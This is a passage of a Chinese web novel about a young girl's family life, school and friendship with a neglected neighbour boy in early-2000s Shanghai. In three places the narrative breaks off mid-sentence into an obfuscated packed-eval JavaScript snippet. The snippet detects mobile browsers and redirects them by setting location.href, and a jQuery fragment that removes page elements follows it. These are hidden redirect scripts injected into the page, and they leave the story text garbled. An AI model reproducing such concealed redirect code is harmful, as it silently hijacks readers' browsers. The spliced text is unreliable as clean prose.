说完,她拉着俩孩子转过身,往河南路方向走。 路上也免不了问问上学第一天发生的事情。 田书秀:“悦悦,刚刚侬旁边额男小歪是撒宁啊?卖相老好额(长得很好看)。” 桑悦:“哦,宋书豪啊?是我同桌呀!” 话音刚落,她感觉手指一疼,指节好像被人攥紧了。 桑悦立马扭头看向沈照清没什么表情的小酷脸,嫩声嫩气地提醒他:“沈照清,你抓疼我了。” 沈照清默默松开一点力气。 桑悦这才笑起来,将注意力挪给他,问:“你兴趣课选什么呀?” 沈照清反问:“你呢?” “我还没想好。” “那我也没想好。” 桑悦撇撇嘴,不甚走心地“哦”了一声,又去和田书秀讲话:“外婆,马上要中秋了吧?这次月饼盒子里给的那个刀,能不能不要丢掉啊?我想要。” 罗英单位福利好,每年中秋都会发一些月饼票回来,让职工自己去领月饼。 大部分是杏花楼的广式月饼,七星伴月的铁盒和普通硬纸盒装都会有,盒子上面画着很漂亮的嫦娥和玉兔,里面还会给一把切月饼的塑料小刀。 杏花楼的月饼很大一个,桑悦想切了分给朋友们尝尝。 这也不是什么很难的要求,田书秀将那袋苹果换了个手拿,随口就答应下来:“晓得了。” …… 桑悦愁眉苦脸地考虑了一周,最终还是决定去上国际象棋课。 沈照清也跟着一起。 方圆和宋书豪则是报了其他科目。 第一次课,那个教棋的男老师先强调了半节课的纪律问题,见下头的小学生们都被吓得乖乖坐正了,这才将通知发下去,跟他们说,带回家给爸爸妈妈看,下次上课要带上钱和家长签过名的通知单一起。 从小,罗英对桑悦虽然没特别多要求,但随了大流,她也是从中班就开始认字背诗的,珠心算都考过了七级。 只是她认识的字还不够多,不能完全看懂通知单的意思,特别是上面还有“谱”这种不太常用的字。 相比之下,沈照清倒是基本看懂了,言简意赅地给她解释:“老师要求买棋盘和棋谱。” 价格桑悦看得懂,棋盘70一套,棋谱30,加起来一共一百。 在这个年头,一百不算小数目,但对桑悦家而言,其实也就是给她买三分之一双耐克鞋的价钱。只是花在买棋盘上,多半不符合罗英的消费观。 要知道,桑悦现在都上学了,买鞋买衣服还得买大半码的呢。无论进口的牌子还是国产。 而且,在不久之前,桑悦弄丢了那套《上官婉儿》中的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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特别是她爸爸也这样,特别会搭会讲,田书秀又不喜欢她爸爸,也不是第一次借故背后骂三门(骂人)了。 桑悦直接气得不想去上周三的课了。 后一节兴趣课,方圆的读书课老师请假,读书课改自习,她就呆在教室里写作业。 桑悦和她小声聊着天,一不小心就聊过了时间。 等桑悦颤颤巍巍赶到国际象棋教室的时候,老师直接没让进去,叫她拿着那盒缺子的棋站在教室外面反省。 桑悦从来没被这样罚过,小小的自尊心直接碎了一地,脸颊通红地站在门口,听着教室里面讲解棋谱的声音。 没过几分钟,那老师突然又怒喝了一声。 桑悦在外面都被吓了一跳,扭过头,想从玻璃窗里往里看。 视线只一偏,就看到教室门被人打开,沈照清从里面走出来,默默站到了她旁边。 见到他,桑悦又惊又喜,立马问:“沈照清,你怎么也被赶出来啦?” 沈照清淡声说:“我说我不想上这个兴趣班了,问老师能不能把棋盘和棋谱退掉。” 桑悦瞪大了那双圆溜溜的眼睛,一眨也不眨地盯着他,难以置信地追问道:“那老师怎么说的?” “他说不行,塑封已经拆开了。” “然后呢?怎么还是让你出来了?” “我妈不在家,那个家长签名是我自己签的,钱是我偷偷拿的,没告诉我妈。” “……” 8. 08 学校教师胡乱收费和诱导收费一直是敏感话题,沈照清这么一说,象棋老师担不起责任,也怕家长找到学校来闹事,只能给他退钱。 课是没法继续上了,在两班班主任的协调下,沈照清带着桑悦一起换到了方圆所在的读书班。 在小朋友们十分添油加醋的表达能力下,沈照清刺头的名声就这样打了出去。 毕竟,7岁的小孩还没有那么多自主想法,成长中受到了潜移默化的日常训导,刚刚进入学校,就算调皮捣蛋,天然地就会敬畏害怕老师的,少有敢在课上当众和老师对着干的。 4班班主任怕这事产生恶劣的后续影响,给沈照清换班之后,还是和李觅打了通电话。 毕竟事关钱,学生又还是那么小的小孩子,必须通知家长,不能随便解决。 李觅压根不觉得这是什么大事,问都没去问沈照清,直接私下给老师赔了100块了事。 …… 小学一年级入学是培养良好学习习惯的基础,老师为了管住这群小孩,在行为规范上要求十分严格。 桑悦被学校折磨了几周,每天练字算数学英语,只觉得小学一点没有幼儿园有意思,上学兴趣开始逐渐减弱。 这般日复一日地度过,月饼礼盒出现在家中,中秋节悄悄到来。 十五当天,全家所有人都会到外婆家来聚会。 除了桑悦最小那个阿姨人已经嫁到国外回不来之外,罗莉、罗英、罗芬、罗枚四姐妹,加上各自的孩子,全都挤到了外婆家二十几平的小屋子里。几人的丈夫则是回了他们的父母家,因为田书秀不喜欢,并不和他们一起。每年都是如此,包括大年夜吃年夜饭,大多也不带几个女婿。大家各回各家,也很和谐。 上海有中秋节吃芋艿和毛豆的习俗,还有罗英带回来的毛蟹,和着年糕一起炒,外加一盘子清蒸大闸蟹,沾加了姜蓉的蟹醋,又鲜又香。 周骏才和贺云皎都坐在桌边剥蟹喝可乐。 桑悦年纪还小,没这个本事,就等罗英把蟹脚肉剥出来,好几根一起放在倒了蟹醋的蟹壳里,让她一筷子夹起来,再一口吃完。 席上,免不了七嘴八舌聊起琐事。 罗莉和她丈夫都在附近的菜市场工作,但他们有自己的临街店面,卖些活鸡活鸭,效益还不错。前提是,如果不炒股被套牢的话,家里条件会比现在好得多,贺云皎也不用在外婆家住二十多年,连大学学费都是罗英帮忙出的。 问起罗莉家的生意,她语气平平:“就那样呀,没撒。” 罗枚:“我前两天下班的时候,听十三点刚,哪老公来弄撒玉啊?覅被宁噶骗咯,乃澳门通嘞。” (听说你老公在弄什么玉,不要被人骗了,到时候有苦说不出。) 罗莉一挥手,有些不耐烦道:“我刚了伊又覅听。慢较侬去帮伊刚好来。” (我讲了他又不听,以后你去和他说好了。) 当初炒股是罗莉老公的主意,她万事不管,只眼睁睁看着家里的钱被倒腾光。现在她老公又开始搞什么翡翠,想发笔横财,她更加管不住了。 罗英以前就说过,罗莉虽然是大姐,但外强中干,其实不是很有主见的人。 况且,这什么翡翠的生意,听起来就不靠谱。 姐妹几人喝了点红酒,外加一个最尖锐的田书秀,你一言我一语,各有各的想法,桌上气氛立马就隐隐约约有点剑拔弩张起来。 长辈吵架,底下几个小的一般不插嘴。 桑悦不耐烦听她们互相批评,吃了两只蟹脚肉、又啃了半只蟹膏,吸溜了一点半盘子毛豆,就匆匆下桌。 2002年的中秋是周六,弄堂里也是非比寻常的热闹,笑声就像长了脚,偷偷从每家每户的窗户里溜出来,四处奔袭散开。 趁着没人管她,桑悦先跑去沈照清家看了一眼。 沈照清和李觅都没在家,屋子里没声音,可能出门在哪里过节。 不过,桑悦和沈照清、还有方圆宋书豪约好了,明天一起去南京路宝大祥的汤姆熊玩,顺便给他们分月饼吃。 下午的时候,她已经把七星伴月里最大的那只“月亮”给藏起来了,打算明天装在书包里带出去。 反正明天就见面了。 这么想着,桑悦躺在阁楼的床上,望着窗外明亮的月光,唇角不由自主地翘着,一点点睡下去。 没想到,这种期盼的心情,在第二天起床后不久,很快消失殆尽。 桑悦翻遍了月饼盒、小菜架子、冰箱,都找不到那几把塑料月饼刀的踪迹。 “妈妈!外婆!我的刀呢!” 稚嫩的声音响彻走廊。 田书秀从外面走进来,问:“什么刀啊?” 桑悦:“就是切月饼的刀啊,外婆,我帮你说过好几次了,要给我留一把呀!” 田书秀:“忘也忘记嘞。昨天以拉切完就跟着盒子一道丢了吧。” 桑悦“哇”一下就哭了。 她不是很爱哭的小孩,从小到大就像个小太阳一样,爱说爱笑到近乎烦人的程度,完全称得上生命力旺盛。但就算如此,心智也不过是个7岁小朋友,期盼了很久、想象了很久的场景破灭后,难免觉得委屈难受。 这一哭,立刻把家里人全都引过来。 大家听完,却也只觉得桑悦小题大做。 “噢哟,不就是一把刀嘛,这有撒好哭的啦。” “就是啊,悦悦,外婆脑子不好,记不牢,明年侬再拿起白相好伐啦?” “再帮伊迎迎看(再帮她找找看),屋里向噶西多月饼,别的刀阿没啦?要么老早切蛋糕的刀还有伐?” “老早丢特嘞。” “……” 桑悦哭得停不下来,耳朵“嗡嗡”作响,只觉得旁边说话的声音都是模模糊糊的,听不清晰。 没一会儿,罗英从旁边拿了把水果刀过来,开口道:“侬要切撒?妈妈帮侬用个则刀切好伐?侬看看较,还是瑞士军刀叻,妈妈老早从瑞士带回来额,老好额。” 闻言,桑悦抹着眼泪拼命摇头,“不要!我不要!” 这怎么能一样呢? 没人懂她想给朋友们分“七星伴月”的仪式感。 罗英哄了两句,逐渐失去耐心,声音拔高:“侬个小人,哪能噶烦额啦!作死特了……覅哭了!慢较吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15172613|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得隔壁邻居来骂侬!” 桑悦被她吓了一跳,浑身一抖,抽抽噎噎地吸鼻子,眼泪像开闸的水龙头一样,怎么擦都停不下来。 罗英没办法,干脆扯着她的肩膀,把她带到楼下去。 恰好,距离出发时间不远,沈照清已经到了楼下,原本打算上去敲门,见到罗英拉着桑悦,脚步加快,到两人面前停下。 他看了看桑悦的花脸,低声问:“罗阿姨,桑悦怎么了?” 罗英把事情说了一下,又去恐吓小桑悦:“你们不是要出去玩吗?悦悦,侬再哭,等下清清他们不带你去了。” 此话一出,桑悦立马收了声。 罗英替她擦了擦脸,干脆利落地将桑悦交给沈照清,嘱咐:“当心噢。你们有家长一起的吧?” 宝大祥就在南京路步行街上,距离河南路弄堂不远,沿着步行街走上十五六分钟就能到,路上也没有车,相对是比较安全的。 不过他们几个年纪太小,大人都不放心,还是决定由方圆的爸爸陪着他们一起去。 方圆说,她爸爸特别好说话,就远远跟着,不会管他们的。 听罗英问起,沈照清点点头,回答:“桑悦同学的爸爸在红绿灯下面等我们。” “弄堂外面那个马路?” “对。” 罗英把两个小孩送出弄堂,交到方圆爸爸手上,就一步三回头地离开了。 桑悦刚哭完,眼睛红红肿肿的,一路上,方圆和宋书豪都在问她发生了什么事。 和朋友在一起,桑悦终于能把心里那点奇奇怪怪的委屈全部说出来。并且,还不会被嫌弃她找事、作、莫名其妙等等。 等她说完,宋书豪推了推眼镜,小手一挥,很大大咧咧地开口:“桑悦,你现在就把月饼拿出来。” 桑悦问了句“为什么”,但也没有真的要他解释,立马就从书包里拿出了那个“七星伴月”。 宋书豪撕开了月饼包装,对她说:“我们一人咬几口不就好了。” 最终,四个小朋友你一口我一口,在步行街中央,旁若无人地吃完了那只大月饼。 因为这件事,桑悦对宋书豪的评价陡然拔高。 两人本就是同桌,在学校形影不离,放学还能顺路一起走半条马路。相比之下,沉默寡言的沈照清反倒像局外人。 …… 过后就是国庆。 2002年,调休政策还没有实行,国庆放完7天也不用补休。每年国庆前三天,南京路上都会举办花车巡游,一路从西藏路开到河南路。 从外婆家的窗户看出去,就能看到花车经过。 沈照清第一年来,桑悦便央着加班结束的罗英带他们一起去步行街。 罗英特地带了相机,给两个孩子在花车底下拍了不少照片。 有的玩,桑悦非常满足,七天就没消停过。 等假期结束回到学校上课,反而一时半会儿不能适应。 一连好久,她总觉得没睡醒,懒洋洋地趴在桌上,精神恹恹。 直到十月中下旬的某天中午,沈照清到1班来找她说话:“桑悦,下周末能不能到我家来吃饭?” 9. 09 桑悦掰着手指头,数了一下日期。 下周末是11月3号,不是什么特殊节日,应该没事。 于是她爽快地点头应下:“可以呀,但是为什么突然邀请我?” 沈照清:“我生日。” 桑悦“哇”了一声,眼睛亮亮的,嘴角大幅度翘起,“你生日那当然要去啦!你早点跟我说嘛,只剩一周了,我都没时间准备礼物……” 沈照清语气很平静,看不出什么即将过生日的喜悦之情,只是说:“人来就可以了。” 两个小朋友就这么简单地做了约定。 桑悦手上没有零花钱,她每天上学来回学校都是家里人接送,出门也有大人一起,罗英怕她乱买乱花,基本不给她钱,压岁钱也是年年都说帮她存起来,压根不会落到她手上。 因为口袋空空,就算想给小伙伴买个礼物,也是囊中羞涩。 最后,还是罗英领着她,去上海书城挑了只卡通铅笔盒,给沈照清当礼物。 罗英有单位发的书城卡,每次都是几大百几大百的拿回家,平时给桑悦买再多卡通书也压根用不完。桑悦想买个20块的笔盒,还是给沈照清的,自然也不会被念叨太多。 周末,桑悦拎着那只小汽车造型的铁皮笔盒,让罗英给她梳好头发,去了沈照清家。 开门的是李觅。 桑悦声音甜甜地打了个招呼:“李阿姨好!” 李觅每天早出晚归,平时连沈照清的面都见不太上,也是有一阵没见到桑悦。 她蹲下身,摸了摸桑悦圆嘟嘟的脸,笑道:“悦悦好像长高了。” 桑悦用力点头,“我妈妈说我长高了2厘米呢。” 这年纪的小孩子就是一天一个样,桑悦在一年级孩子中不高不矮,按照很正常的速度在发育着。因着外公的高个基因,她们一家个子都不矮,罗英和罗芬有169,罗枚和最小那个妹妹罗敏更是174的高挑个子。再加上桑悦爸爸也不拖后腿,想必她将来也不会太矮,没什么好担心的。 李觅听她这么说,立马很给面子地夸道:“悦悦真厉害!我家清清吃得少,就长得慢,不好。悦悦平时督促他多吃东西,好不好?” 从大人的角度来看,两个孩子差不多高,但一个圆润饱满,像个白白胖胖的雪团子,很有福气,另一个却清瘦单薄,虽然说不上营养不良,总归没那么让人放心。 桑悦其实是非常羡慕沈照清这个模样的,人瘦凸显个子,脸瘦凸显五官,从她的审美里来看,沈照清漂亮得没话说,连她们1班“班草”宋书豪都比不上。 但她还是顺着李觅的话,很用力地点点头,“好!下次我吃什么,都分一半给沈照清!” 李觅笑起来,摸摸她的苹果脑袋,“真乖。进去吧。” 桑悦对沈照清家熟悉得跟自己家一样,等李觅让开身位,她已经小炮仗似的窜了进去。 “沈照清!生日快乐!我来啦!” 话音刚落,沈照清不急不缓地从卧室里走出来。 他同桑悦说:“我妈妈说今天请我们喝珍珠奶茶。” 桑悦又惊又喜:“真哒?!” 她想喝奶茶已经想好久,从暑假前一直到现在,提了好几次,罗英还是没有松口。 没办法,家里好几个卫生专家,讲究得不得了,一致认为这种街边小店里的东西不干净,还说什么奶茶有激素,喝多了容易早发育。 桑悦这年纪,哪懂什么激素啊发育的,只嫌她们烦。 每次提起,必然是满脸不高兴,嘴巴嘟得老高,看起来都能挂油瓶了。 李觅阖上门,见桑悦那么兴奋,说话都快要破音了,也忍不住笑,“只能喝这一次喔。看在清清今天生日的份上。以后等你们长大了再喝。” 桑悦重重地“嗯”了一下,声音嘹亮:“谢谢李阿姨!” 李觅:“不用谢,是我要谢谢悦悦每天跟我们清清一起玩呢。好了,你俩想看电视还是玩电脑?清清,招呼好悦悦啊。我先去做饭,吃完饭再带你们去买奶茶和蛋糕。” 等李觅转进厨房,桑悦将铅笔盒给了沈照清,小声问他:“沈照清,你怎么没有请其他朋友啊?” 沈照清得了个新游戏机,能玩贪吃蛇、俄罗斯方块和坦克游戏,正在开机摆弄。 听桑悦问,他垂着眼,很随意地回答道:“没其他朋友。” 桑悦:“……” 好可怜。 上了两个月学,居然还没有朋友。他们4班的学生也太不热情友善了吧。 桑悦看向沈照清的眼神变得有些怜悯起来。 沈照清对她莫名产生的同情心接受良好,压根不想解释,顺手就把调好的游戏机递给她。 “给我玩吗?” “嗯。” 桑悦眯眼笑起来,转头就把什么可怜不可怜的事情抛到了脑后,和沈照清凑在一起,头碰头开始研究这个新游戏机。 中午饭是李觅做的冷面,加上醋和花生酱调味,再盖上几勺青椒肉丝、或是茭白鳝丝的浇头,就成了上海特色的冷面,许多人过生日都会这么弄。 下午,李觅带着俩孩子出了门,去步行街上买珍珠奶茶。 十一月的上海已经有点冷了,沈照清的生日蛋糕定的是德大西餐馆的,也是老字号,在云南路上,从南京路走过去还要点时间。 三人一路走走停停,晃晃悠悠的,不知不觉中,桑悦就把那杯珍珠奶茶喝得精光。 李觅低下头,笑着问她:“悦悦,好喝吗?” 桑悦:“好喝!” 李觅:“如果你很喜欢的话,可以跟你外婆说说,让她给你做。奶茶就用牛奶加红茶泡,珍珠去食品商店买那种袋装的。自己家里做会比较干净。” 她讲话温温柔柔的,语速也比罗英慢得多,桑悦听得十分认真,打算记下来回去就跟外婆和妈妈讲。 李觅看着她的表情,觉得小女孩真是比男孩子可爱得多。 她和沈照清说话,沈照清可不会给她这么专注的反应,总是两三个字就算回答过了,很是没劲。 一高兴,李觅又给俩孩子在旁边买了俩热气腾腾的珍珠米(玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家都在担心,会不会传到上海,万一被传染可怎么办,听说后遗症特别厉害等等。外面都说小孩抵抗力弱,有孩子的人家尤甚。 桑悦也被拘着,除了上学,不许出门。 就算上学也要尽量少讲话,少和别人接触,每天勤洗手,给家里开窗通风之类的。 洗手倒还好说,不说话对她来说,可真是一种折磨。 罗英知道她这个脾气,态度十分强硬:“你要是再疯头疯脑的,就请假别去学校了,待在家里。反正寒假也没几天了。一年级少上两节课没什么关系。” 桑悦虽然对上学没兴趣,但在家里窝到过年,不能和朋友们一起,那更痛苦。她立刻否决了这个提议,乖乖闭上嘴。 2003年的元旦,桑悦连沈照清家都去不了,只在家和大人们一起看《情深深雨濛濛》。 但她有点想沈照清了。 更想沈照清家能收到动画台的电视机。 10.10 因为上海市政府管控良好,到一月中都没有听说市里有什么爆发的情况,只有新闻播报着外地的情况,每天依旧轮流放送“勤洗手、多通风”的告示。 大人们都在正常上班。 学校也没有停课。 临近学校的期末考前的一天,罗芬突然拎了几十包盐到桑悦外婆家来。 恰好,田书秀人就在家里做酒酿。 桑悦一家无论男女都很能喝酒,虽然是生活在弄堂里的小市民,又向来节俭,习惯和口味还是很有摩登上海的洋派味道,红酒白酒黄酒啤酒都能喝,咖啡更是要搭配西点当下午茶。 像桑悦,包括周骏才、贺云皎三个兄弟姐妹,从很小开始,大人们就会用筷子头沾点酒,给他们抿着玩。 平常,外婆也会经常做点酒酿,或是直接舀着吃,或是弄成酒酿小圆子,大家都喜欢。 冬天室温不够高,外婆怕酒酿发酵不起来,就连着锅一起放在沙发上,用布包上两层,再拿桑悦幼儿园睡午觉用的小被子捂住。 这么捂上几天,最多一周,再打开,满屋的酒酿香气,就可以吃了。 罗芬鼻子特别灵,一进屋立马问:“妈,做酒酿啊?” 田书秀回头看她:“哪能了?” 罗芬想起来要紧事,晃了晃手中两大袋盐,解释道:“人家外头都讲,这个盐好防非典传染的,我今早去超市里看,都被抢光嘞!还好易初莲花还有一点,全都买来了……” 田书秀:“哦哟,易初莲花的么子噶句呃,有撒好买头四啦。” (易初莲花的东西那么贵,有什么好买的。) 罗芬排行老三,是五姊妹里最喜欢表现自己的,有些咋咋呼呼。田书秀经常说她“出工不出力”,明明懒惰得要命,总爱先夸海口,做不做的就不一定了。 自打她自由恋爱嫁了个“真爱”家暴老公,又把一大家子人都拉下水、陪着她担惊受怕后,性格应该要变得沉稳些,但老毛病却是一点没改掉。 抢盐风潮刚刚有点起来,罗芬立马就加入了潮流中,也不管这盐是不是真的能防治肺炎,总归不能落于人后。 果不其然,等罗枚和罗英回家之后,立马对着那十几包盐一顿炮轰,只骂她浪费钱。 想想这个家里,罗英和贺云皎都是高级知识分子,作为家人,哪就能毫无判断力地跟风呢?要是盐真能防治,家家都有的平常东西,每天新闻里还怎么会有那么多病例报道?疫情早就该从世界上消失了。 “你个宁,哪能噶欢喜搞七捏三额啦?撒宁要侬买噶西多?带会起带会起!” (你这个人,怎么这么喜欢搞来搞去?谁要你买这么多,带回去!) 罗芬也有话说:“我买给阿拉老妈!又覅侬付钞票!” 因为这件事,几人又拌起嘴,一声比一声高地吵了起来,吵得桑悦外公都受不了,兀自悄悄避了出去。 幸好,弄堂里天天有人吵架。 什么你占了太久的水池子啦、或是你家的垃圾扔在外面都臭啦、又或是去楼下冲痰盂的时候不够小心啦……鸡毛蒜皮的龃龉一大堆。 桑悦家这也不过是日常情形罢了。没人会觉得大惊小怪。 …… 虽然非典听起来很恐怖,但没有影响上海太多。对小孩子来说,这依旧只是个寻常的年关。 外婆的酒酿酿成时,罗英从单位带了俩水仙球回来。 家里只有田书秀是侍弄花草的好手,桑悦央着她帮忙切了花球,用小菜架子底下翻出来的陈年老扁缸出来,给水仙球包了纱布,浸到水里养着。 顺利的话,用不了多久,大概到新年那几天,水仙就能开花了。到时候,肯定是满屋子的清香。 桑悦端着扁缸左看右看,恨不得它一夜之间就长大开花。 当然,她也没忘了最好的朋友沈照清。 扁缸太小,也就两个手掌大,种不了两个花球。桑悦想把另一个拿去给沈照清种,让他家里也能飘满花香。 只不过,寒假已经开始,罗英不让她出门,她没办法和沈照清碰面。 就在桑悦使劲儿想办法的时候,罗枚同志下班,从弄堂里的包打听“长脚”那里带回来一个新闻。 “昨天晚上,沈照清伊拉爷老头子(爸爸)到后头去吵相魔(吵架)嘞。” 因为俩家孩子关系密切,桑悦家里人都对沈照清家还算熟悉。 罗英还没下班回家,贺云皎用热腾腾的咖啡暖着手,注意力从电视里的本地新闻节目“新闻坊”转到罗枚那儿,问了句:“到啊里的?石库门里相啊?” 罗枚:“对额呀。” 贺云皎:“为撒吵啊?” 沈照清家才搬来半年,李觅又是神龙见首不见尾的神人,在弄堂里几乎不怎么露面,她家具体是什么情况,除了一开始传出来的什么“离婚”、“老公个姘头”之外,后面再也没有更详细的剧情流出。 至于沈照清父母吵架的原因,哪怕是如长脚爷叔这种“包打听”,一时半会儿也没能打听出究竟。 不过,后一天傍晚,桑悦就在外婆家门外见到了当事人。 “沈照清!?你怎么来了?是来找我的吗?” 说着,桑悦立马上去紧紧拉住了沈照清的手。 两人也没有太久没见,就是她被关久了,家里能一起玩的周骏才又不在,出现个小伙伴的新鲜面孔,小孩子就难掩兴奋之情。 沈照清没说话,但也没有甩开桑悦。 这次他是李觅亲自送过来的。 李觅脸色憔悴,眼下的乌青连厚厚的粉底都遮不住。她推了推沈照清,示意他跟着桑悦先进屋,自己却没跟着走进去,只是站在门外,轻声喊了一句:“悦悦妈妈,不好意思,我有点事想跟你商量一下。” 罗英迟疑片刻,还是擦了擦手,跟着她出去。 走廊里人多眼杂,两人下了两层楼,换到二楼那个宾馆门外的平台上说话。 罗英:“清清妈妈,什么事,你讲。” 李觅沉默片刻,暗自做了几个深呼吸,让自己冷静下来,才勉强开了口:“真的不好意思,其实,我是想,到月底前这小半个月,我能不能把沈照清放在你们家里?吃饭不方便的话,我给他带来。让他早上过来,晚上睡觉前再回自己家,可以吗?每天我都会让他量体温的,肯定不会染到肺炎过去的。” 这是李觅第二次提出类似的请求。 罗英有些不解,问:“小朋友不是都放寒假了吗?” 李觅:“对,放假了,所以沈照清他全天都在家,我怕他爸爸上门找事情,实在不放心。本来想放到他外公外婆家去的,但是俩老人腿脚都不好,沈照清他爸爸也知道我爸妈住在哪里,我实在是不放心。” 借此机会,罗英成为了全弄堂第一个知道沈照清家内幕的人。 这对夫妻俩,基本就是市面上离异家庭发生最多的情况。 沈照清爸爸有点小钱,在外面一直花擦擦(花心留情)的,姘头的传言一个接一个换,但一直没被李觅抓到过切实证据。加上李觅自己娘家条件一般般,就是上海最普通的那种普通人家,在九零年代,嫁给沈照清他爸算是高嫁,不仅仅经济条件受益,工作也有点仰仗他,父母家人都劝她忍一忍,反正没证据,就当不知道算了。 日子嘛,都是这样过来的。 最后,转折还是发生在了沈照清身上。 沈照清从记事开始,就知道他爸爸和别人爸爸不一样。 以前他们住在新房子里,小区里的邻居也会议论,说他爸爸压根不喜欢他、也不想要他,是因为他妈妈未婚先孕,怕传出去丢人,才不得不结婚的。 也因为父母之间的感情问题,沈照清还是丁点儿大的时候,就一个人呆在家里。 李觅不想面对婚姻的残缺,忙着做出一番事业扬眉吐气,宁可天天加班做业务也不愿意回去。但她又怕沈照清出事,只好把家门反锁,让他一个人乖乖在家,不许他随便出门。 日复一日年复一年,到他五六岁的时候,就已经非常不愿意开口讲话,对谁都是冷冷淡淡的不够亲热,一点都不像个小孩。 直到大半年前,沈照清幼儿园大班快毕业前夕,生病一个人在家休息的时候,意外撞见了他爸带着个陌生女人回家,彻底捅破了这场貌合神离的婚姻的遮羞布。 沈照清他爸看到他走出来,当时突然恼羞成怒,拿皮带抽了他两下,把人后背都打伤了。 李觅得知此事后,终于下定决心离婚。 “……所以这些时间,家里一直乱七八糟的,唉。我也没办法。” 李觅是做业务的,之前的业绩有一部分靠沈照清他爸和他那些朋友支持,突然撕破脸,她必须得抓紧跑客户,把缺掉的业绩补上。 毕竟不是铁饭碗,这种时候她要是不小心丢了工作,坐吃山空,以后连孩子都要养不起了不说,打官司也有可能拿不到沈照清的抚养权。 “沈照清他爸不想分钱给我和儿子,我找了个律师在准备打官司,他就上门来闹来找事。他一直不喜欢沈照清,嫌他不够活泼嘴甜,不爱讲话,带出去吃饭也没法给他挣面子。我怕孩子一个人在家,万一又像上次那样被他打了……阿姐,求求侬……我实在是……” 罗英听完,脸上的表情也是沉甸甸的,有些不是滋味。 她倒不是同情心泛滥,单纯是因为喜欢孩子,平时桑悦再调皮都不会打她,气急也只是破口大骂,突然听到沈照清被他爸下狠手打,以为人母的立场,心里难免对李觅生出了些同仇敌忾的情绪。 “沈照清这么听话这么乖,我家桑悦要有他一半懂事,我真是笑也笑不动咧!他爸也真是……” 罗英越说越生气,大手一挥,扯着嗓门道,“下次他再来,你过来叫我,我帮侬骂死特伊。” 桑悦一家人都是有点爱管闲事的精神在身上的。 或者说,因为生活在弄堂里,一家一家挨得近,又都是住了几十年的老邻居,这里大部分人都有点这毛病。 市井里头的烟火气,大多从人与人的交往中产生,有时候也是说不上好与坏的。 因而,罗英脑袋一热,答应了李觅的请求。 深冬腊月,沈照清戴上小口罩、背上消毒水和李觅准备的各种进口小零食,开始天天到桑悦家“走读”。 桑悦是拖延症大王,寒假已经放了一个多礼拜,马上就要过年,薄薄的一本“寒假生活”还和崭新的一样,连翻都没翻开过。 这下,家里多了沈照清,她更没心思写寒假作业了。 俩孩子每天凑在一起,脑袋碰脑袋,研究那两个水仙花,给它换水,期待着它像葱一样拔地而起,快快长大开花。 沈照清还从外婆家看到了桑悦的相册,里面放了她从小到大拍的许多照片。 桑悦出生的时候就是个胖团子,足足九斤重,是名副其实的“九斤姑娘”。罗英痛了一天一夜,因为她太大只,怎么都生不出来,只能转去了剖腹产。 这事儿被罗英念叨了无数次,桑悦耳朵都要起老茧了,真不想再和沈照清讲一次,便生硬地转移话题:“沈照清,你小时候的照片呢?” 沈照清抬头看向她,眼神里也是凉凉的,轻声答道:“我没拍过什么照片。” 2003年,数码相机已经问世,但桑悦家依旧在使用胶片相机,是美国科达牌的,拍完一卷就去照相馆里冲出来,再换上一卷新的继续拍。 胶卷和冲片都要花钱,还有废片风险,但对两家人来说,这不算什么消费不起的东西。连罗英那样节约的人,都愿意给女儿拍点莫名其妙的照片记录成长。沈照清家条件明明更好,却说他没什么照片。 桑悦已经从罗英那儿听说了沈照清家的一些事,但还有点似懂非懂,只知道他父母都不够称职,使得罗英语气中十分义愤填膺。 她拍拍他的肩膀,孩子气地安慰道:“肯定是你爸爸妈妈工作太忙了,没空给你拍,不像我家那么多大人啦。沈照清,没关系的,下次我让我妈妈给我拍的时候,也帮你一起拍。” 说着,桑悦又想到了外公最近帮忙拿回来的相片,其中有几张是之前国庆的时候、罗英帮她和沈照清拍的合影。于是,她立马大呼小叫地喊“外公”,踮着脚在五斗橱上翻来翻去,让外公也帮她一起找照片。 有外公在,桑悦没费太多功夫,从一堆乱七八的东西里,找到了那个印着“科达照相”的相片袋。 她把一叠照片都倒出来,挑挑拣拣,选了张两人都笑得很好看的合影,爽气地递给沈照清。 “喏,这张给你了。要好好保存啊。” 沈照清愣了愣,接过来,问她:“你不要了吗?” “这里还有几张呢。而且,还有底片在,”桑悦怕沈照清不拍照不懂,很耐心地给他解释,“有底片就能随便印很多张啦。想要几张有几张。你就拿着吧。” 沈照清点头,非常郑重地将照片收进了书包里,“知道了。” …… 这么悠闲地一天接一天,转眼间,弄堂里已经有了过年喜气洋洋的气氛。家家户户都在门上贴了对联,包括后面公用的石库门,也都换了新对联。 每年差不多这个时候,桑悦外婆就会在窗台上挂上两条鳗,开窗又吹又晒的,等到年夜饭之前再拿下来,用盐腌过、再蒸着吃。 桑悦不爱吃这种硬邦邦的鱼,但她很喜欢坐在沙发上靠背上头,仰头看着挂在上面的鱼一摇一晃,好像不会发声的风铃一样。 然后,随着它一点点缩水发干,年夜饭就将要来临。 今年的大年夜是1月31号,一月最后一天,也是全年里最重要的一个节日。 上海是没有“小年”这一说的,只有小年夜,在大年夜前一天。小年夜当天,李觅的工作结束,早早就提着年货礼物到桑悦外婆家来,郑重道谢过后才将沈照清带回了自己家,要开始打扫卫生,准备过年。 桑悦观察了一下,水仙的花苞已经若隐若现,好像两三天内就会开花。 